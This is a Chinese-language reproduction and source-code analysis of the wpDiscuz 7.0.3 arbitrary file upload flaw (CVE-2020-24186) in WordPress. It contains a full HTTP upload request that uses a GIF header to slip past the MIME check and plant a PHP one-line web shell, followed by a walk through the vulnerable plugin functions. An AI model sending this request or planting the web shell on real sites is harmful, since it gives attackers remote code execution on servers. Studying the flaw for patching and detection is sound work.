WordPress wpDiscuz 文件上传漏洞 CVE-2020-24186
1.漏洞复现
WordPress 5.4.1
插件:wpDiscuz 7.0.3,https://downloads.wordpress.org/plugin/wpdiscuz.7.0.3.zip
复现
后台,安装、启动插件
前台,打开一篇文章,评论区上传图片抓包
GIF头绕过:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRBGQ1nxRvI9FIqxB
Content-Length: 638
Connection: close
------WebKitFormBoundaryRBGQ1nxRvI9FIqxB
Content-Disposition: form-data; name="action"
wmuUploadFiles
------WebKitFormBoundaryRBGQ1nxRvI9FIqxB
Content-Disposition: form-data; name="wmu_nonce"
f0839ae97a
------WebKitFormBoundaryRBGQ1nxRvI9FIqxB
Content-Disposition: form-data; name="wmuAttachmentsData"
undefined
------WebKitFormBoundaryRBGQ1nxRvI9FIqxB
Content-Disposition: form-data; name="wmu_files[0]"; filename="shell.php"
Content-Type: image/jpeg
GIF89A
<?php @eval($_POST[1]);?>
------WebKitFormBoundaryRBGQ1nxRvI9FIqxB
Content-Disposition: form-data; name="postId"
1
------WebKitFormBoundaryRBGQ1nxRvI9FIqxB--
一句话木马路径见响应包
2.正向分析
从可见功能点正向分析
/wp-admin/admin-ajax.php
可以看到文件上传请求是从这个脚本开始处理的
$action = ( isset( $_REQUEST['action'] ) ) ? $_REQUEST['action'] : '';
...
do_action( "wp_ajax_nopriv_{$action}" );
do_action 是 WordPress 的函数,根据请求包,会调用动作名为 wp_ajax_nopriv_wmuUploadFiles 的函数
WpdiscuzHelperUpload类
/wp-content/plugins/wpdiscuz/utils/class.WpdiscuzHelperUpload.php
通过命令找到添加动作的这个类文件
findstr /s wp_ajax_nopriv_wmuUploadFiles D:\environment\phpstudy_pro\WWW\wordpress5.4.1/*.php
add_action 也是 WordPress 的函数,可以看到 wp_ajax_nopriv_wmuUploadFiles 对应的函数为 uploadFiles方法
add_action("wp_ajax_nopriv_wmuUploadFiles", [&$this, "uploadFiles"]);
uploadFiles方法
在当前类查看 uploadFiles方法 的实现
public function uploadFiles() {
...
$files = $this->combineArray($_FILES[self::INPUT_NAME]);
...
foreach ($files as $file) {
...
$mimeType = $this->getMimeType($file, $extension);
通过 getMimeType方法 获取文件的 MIME类型
在 $files 的定义下面添加:
ob_end_flush();
var_dump($files);
发送请求包看看 $files 是什么
array(1) {
[0]=>
array(5) {
["name"]=>
string(9) "shell.php"
["type"]=>
string(10) "image/jpeg"
["tmp_name"]=>
string(22) "C:\Windows\php88C7.tmp"
["error"]=>
int(0)
["size"]=>
int(33)
}
}
getMimeType方法
在当前类查看 getMimeType方法 的实现
private function getMimeType($file, $extension) {
$mimeType = "";
if (function_exists("mime_content_type")) {
$mimeType = mime_content_type($file["tmp_name"]);
}
...
return $mimeType;
}
可以看出 MIME类型 是通过 mime_content_type方法 对临时文件判断出的
用 GIF头 可以绕过此方法,获取到的 MIME类型 为 image/gif
uploadFiles方法
回来继续往下走
public function uploadFiles() {
...
if ($this->isAllowedFileType($mimeType)) {
...
} else {
$error = true;
...
}
...
if (!$error) {
$attachmentData = $this->uploadSingleFile($file);
可以看出 MIME类型 检测通过后调用 uploadSingleFile方法
uploadSingleFile方法
在当前类查看 uploadSingleFile方法 的实现
private function uploadSingleFile($file) {
...
$path = $this->wpUploadsPath . "/";
$fName = $file["name"];
$pathInfo = pathinfo($fName);
...
$ext = empty($pathInfo["extension"]) ? "" : strtolower($pathInfo["extension"]);
...
$cleanFileName = $sanitizedName . "-" . $currentTime . "." . $ext;
...
$fileName = $path . $cleanFileName;
if (in_array($ext, ["jpeg", "jpg"])) {
$this->imageFixOrientation($file["tmp_name"]);
}
...
if ($success || @move_uploaded_file($file["tmp_name"], $fileName)) {
如果 $ext 为 jpeg 或 jpg,文件会经二次渲染后通过 imagejpeg函数 保存
实际上 $ext 为 php,$fileName 为文件要保存到的绝对路径
然后一句话木马就通过 move_uploaded_file函数 保存了